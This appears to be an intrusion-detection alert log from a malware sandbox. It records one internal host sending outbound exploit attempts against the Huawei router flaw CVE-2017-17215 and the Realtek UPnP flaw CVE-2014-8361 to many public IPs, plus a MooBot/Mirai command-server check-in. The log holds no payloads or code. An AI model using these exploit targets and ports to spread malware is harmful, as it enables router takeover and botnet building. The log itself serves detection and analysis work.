Timestamp:	2024-07-20T23:01:19.848902+0200
SID:	2027339
Source Port:	47614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.13.208.139

Timestamp:	2024-07-20T23:01:02.065822+0200
SID:	2835222
Source Port:	37860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.1.90.206

Timestamp:	2024-07-20T23:01:09.002255+0200
SID:	2027339
Source Port:	59450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.73.125.205

Timestamp:	2024-07-20T23:00:59.164966+0200
SID:	2835222
Source Port:	60312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.189.132.142

Timestamp:	2024-07-20T23:00:59.227759+0200
SID:	2835222
Source Port:	40646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.110.213.163

Timestamp:	2024-07-20T23:01:22.138831+0200
SID:	2027339
Source Port:	38540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 196.108.213.184

Timestamp:	2024-07-20T23:00:59.186953+0200
SID:	2835222
Source Port:	37622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.147.196.56

Timestamp:	2024-07-20T23:01:02.083467+0200
SID:	2835222
Source Port:	54504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.170.33.89

Timestamp:	2024-07-20T23:01:21.023643+0200
SID:	2027339
Source Port:	57946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.245.116.58

Timestamp:	2024-07-20T23:00:59.224296+0200
SID:	2835222
Source Port:	37624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.99.109.50

Timestamp:	2024-07-20T23:01:20.835540+0200
SID:	2027339
Source Port:	52660
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.182.113.83

Timestamp:	2024-07-20T23:01:00.661486+0200
SID:	2835222
Source Port:	52086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.219.42.227

Timestamp:	2024-07-20T23:01:21.842478+0200
SID:	2027339
Source Port:	60858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.184.165.232

Timestamp:	2024-07-20T23:01:20.821142+0200
SID:	2027339
Source Port:	51596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.210.186.227

Timestamp:	2024-07-20T23:01:18.378526+0200
SID:	2835222
Source Port:	32888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.254.34.7

Timestamp:	2024-07-20T23:01:23.594181+0200
SID:	2027339
Source Port:	54124
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.114.72.114

Timestamp:	2024-07-20T23:01:04.986374+0200
SID:	2027339
Source Port:	33896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.26.114.175

Timestamp:	2024-07-20T23:00:59.211994+0200
SID:	2835222
Source Port:	50524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 175.193.29.172

Timestamp:	2024-07-20T23:01:18.307062+0200
SID:	2835222
Source Port:	48608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.172.247.72

Timestamp:	2024-07-20T23:01:21.668534+0200
SID:	2027339
Source Port:	50582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.211.77.112

Timestamp:	2024-07-20T23:00:59.186953+0200
SID:	2835222
Source Port:	58932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.78.46.190

Timestamp:	2024-07-20T23:01:02.068477+0200
SID:	2835222
Source Port:	55632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.92.250.125

Timestamp:	2024-07-20T23:01:09.027075+0200
SID:	2027339
Source Port:	43632
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.179.244.2

Timestamp:	2024-07-20T23:01:22.245977+0200
SID:	2027339
Source Port:	44980
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 182.102.31.222

Timestamp:	2024-07-20T23:01:18.612017+0200
SID:	2835222
Source Port:	36772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.134.147.250

Timestamp:	2024-07-20T23:01:02.088869+0200
SID:	2835222
Source Port:	54992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.92.250.125

Timestamp:	2024-07-20T23:01:19.455768+0200
SID:	2027339
Source Port:	41252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.16.13.92

Timestamp:	2024-07-20T23:01:21.527399+0200
SID:	2027339
Source Port:	52042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.138.150.155

Timestamp:	2024-07-20T23:00:59.164966+0200
SID:	2835222
Source Port:	59582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 172.101.164.72

Timestamp:	2024-07-20T23:01:18.495841+0200
SID:	2835222
Source Port:	51548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.4.26.126

Timestamp:	2024-07-20T23:01:18.312878+0200
SID:	2835222
Source Port:	43126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.14.204.18

Timestamp:	2024-07-20T23:01:19.566537+0200
SID:	2027339
Source Port:	41034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.229.44.248

Timestamp:	2024-07-20T23:01:19.636409+0200
SID:	2027339
Source Port:	54970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.214.91.137

Timestamp:	2024-07-20T23:01:19.307325+0200
SID:	2027339
Source Port:	38296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.194.116.48

Timestamp:	2024-07-20T23:01:20.810328+0200
SID:	2027339
Source Port:	50442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 61.117.29.155

Timestamp:	2024-07-20T23:01:18.397151+0200
SID:	2835222
Source Port:	43520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.128.110.44

Timestamp:	2024-07-20T23:00:59.231512+0200
SID:	2835222
Source Port:	58330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.0.5.154

Timestamp:	2024-07-20T23:01:21.267821+0200
SID:	2027339
Source Port:	55002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.129.228.162

Timestamp:	2024-07-20T23:00:59.219743+0200
SID:	2835222
Source Port:	59916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.71.150.37

Timestamp:	2024-07-20T23:00:59.175742+0200
SID:	2835222
Source Port:	32798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.53.103.29

Timestamp:	2024-07-20T23:00:59.223718+0200
SID:	2835222
Source Port:	39668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.59.116.210

Timestamp:	2024-07-20T23:01:00.654988+0200
SID:	2835222
Source Port:	40002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.53.123.92

Timestamp:	2024-07-20T23:01:05.120492+0200
SID:	2027339
Source Port:	56952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.34.69.120

Timestamp:	2024-07-20T23:01:20.243707+0200
SID:	2027339
Source Port:	56566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.217.22.246

Timestamp:	2024-07-20T23:01:00.658630+0200
SID:	2835222
Source Port:	47118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 170.47.187.157

Timestamp:	2024-07-20T23:00:59.219743+0200
SID:	2835222
Source Port:	40010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.60.97.199

Timestamp:	2024-07-20T23:01:19.419347+0200
SID:	2027339
Source Port:	33712
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.129.229.179

Timestamp:	2024-07-20T23:01:21.557356+0200
SID:	2027339
Source Port:	58484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:00:56.851055+0200
SID:	2030490
Source Port:	32848
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.118.130.41

Timestamp:	2024-07-20T23:01:00.651026+0200
SID:	2835222
Source Port:	59428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.176.193.82

Timestamp:	2024-07-20T23:01:21.244103+0200
SID:	2027339
Source Port:	48232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.55.44.167

Timestamp:	2024-07-20T23:00:59.218458+0200
SID:	2835222
Source Port:	49836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.171.182.143

Timestamp:	2024-07-20T23:01:11.815818+0200
SID:	2835222
Source Port:	60474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.113.201.241

Timestamp:	2024-07-20T23:01:20.280424+0200
SID:	2027339
Source Port:	47964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.143.61.103

Timestamp:	2024-07-20T23:01:18.378526+0200
SID:	2835222
Source Port:	38000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.184.89.253

Timestamp:	2024-07-20T23:00:59.170219+0200
SID:	2835222
Source Port:	39054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.101.142.15

Timestamp:	2024-07-20T23:01:02.083467+0200
SID:	2835222
Source Port:	33838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.244.190.175

Timestamp:	2024-07-20T23:00:59.203029+0200
SID:	2835222
Source Port:	56586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 58.150.96.208

Timestamp:	2024-07-20T23:01:21.214465+0200
SID:	2835222
Source Port:	36066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.77.18.239

Timestamp:	2024-07-20T23:01:21.527399+0200
SID:	2027339
Source Port:	50724
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.224.12.67

Timestamp:	2024-07-20T23:01:02.088423+0200
SID:	2835222
Source Port:	58700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.114.230.189

Timestamp:	2024-07-20T23:01:19.580320+0200
SID:	2027339
Source Port:	52634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.176.109.210

Timestamp:	2024-07-20T23:01:14.014458+0200
SID:	2835222
Source Port:	57656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.187.188.100

Timestamp:	2024-07-20T23:01:00.663232+0200
SID:	2835222
Source Port:	51534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.236.245.35

Timestamp:	2024-07-20T23:01:18.309512+0200
SID:	2835222
Source Port:	59124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.1.90.206

Timestamp:	2024-07-20T23:01:19.326551+0200
SID:	2027339
Source Port:	57088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.57.93.253

Timestamp:	2024-07-20T23:01:19.496545+0200
SID:	2027339
Source Port:	49602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.189.124.248

Timestamp:	2024-07-20T23:01:21.177250+0200
SID:	2027339
Source Port:	58548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.161.137.123

Timestamp:	2024-07-20T23:01:21.723120+0200
SID:	2027339
Source Port:	35024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.241.155.67

Timestamp:	2024-07-20T23:01:20.253167+0200
SID:	2027339
Source Port:	46746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.233.33.61

Timestamp:	2024-07-20T23:01:00.660317+0200
SID:	2835222
Source Port:	35438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 113.30.251.105

Timestamp:	2024-07-20T23:01:00.660317+0200
SID:	2835222
Source Port:	32868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.251.54.152

Timestamp:	2024-07-20T23:01:21.019040+0200
SID:	2027339
Source Port:	60784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.96.218.16

Timestamp:	2024-07-20T23:00:59.208769+0200
SID:	2835222
Source Port:	60908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.232.41

Timestamp:	2024-07-20T23:00:59.219743+0200
SID:	2835222
Source Port:	45996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 137.33.55.254

Timestamp:	2024-07-20T23:01:00.649623+0200
SID:	2835222
Source Port:	32936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.158.122.120

Timestamp:	2024-07-20T23:01:20.314319+0200
SID:	2027339
Source Port:	52414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.208.124.228

Timestamp:	2024-07-20T23:01:21.231239+0200
SID:	2027339
Source Port:	48310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 216.40.91.1

Timestamp:	2024-07-20T23:00:59.203030+0200
SID:	2835222
Source Port:	39662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.66.91.121

Timestamp:	2024-07-20T23:01:08.939279+0200
SID:	2027339
Source Port:	33890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 111.178.38.86

Timestamp:	2024-07-20T23:01:11.815593+0200
SID:	2835222
Source Port:	33210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.116.31.11

Timestamp:	2024-07-20T23:01:22.245977+0200
SID:	2027339
Source Port:	46928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.119.223.145

Timestamp:	2024-07-20T23:01:18.275355+0200
SID:	2835222
Source Port:	52906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.27.97.229

Timestamp:	2024-07-20T23:01:19.811938+0200
SID:	2027339
Source Port:	37044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.63.115.173

Timestamp:	2024-07-20T23:01:19.339510+0200
SID:	2027339
Source Port:	58748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.92.38.185

Timestamp:	2024-07-20T23:01:00.656262+0200
SID:	2835222
Source Port:	59862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 125.230.182.28

Timestamp:	2024-07-20T23:01:18.285263+0200
SID:	2835222
Source Port:	52728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.238.18.41

Timestamp:	2024-07-20T23:01:02.088423+0200
SID:	2835222
Source Port:	46582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.63.197.170

Timestamp:	2024-07-20T23:01:21.554632+0200
SID:	2835222
Source Port:	40104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.239.61.12

Timestamp:	2024-07-20T23:01:20.182814+0200
SID:	2027339
Source Port:	49282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.99.7.194

Timestamp:	2024-07-20T23:01:00.648916+0200
SID:	2835222
Source Port:	38714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.176.142.26

Timestamp:	2024-07-20T23:01:21.198290+0200
SID:	2027339
Source Port:	49528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.148.93.189

Timestamp:	2024-07-20T23:01:18.539093+0200
SID:	2835222
Source Port:	41330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.98.109.98

Timestamp:	2024-07-20T23:01:21.562923+0200
SID:	2027339
Source Port:	45156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.63.105.168

Timestamp:	2024-07-20T23:01:19.858243+0200
SID:	2027339
Source Port:	55224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.145.174

Timestamp:	2024-07-20T23:00:59.171003+0200
SID:	2835222
Source Port:	41416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 51.142.141.117

Timestamp:	2024-07-20T23:01:00.661486+0200
SID:	2835222
Source Port:	52146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

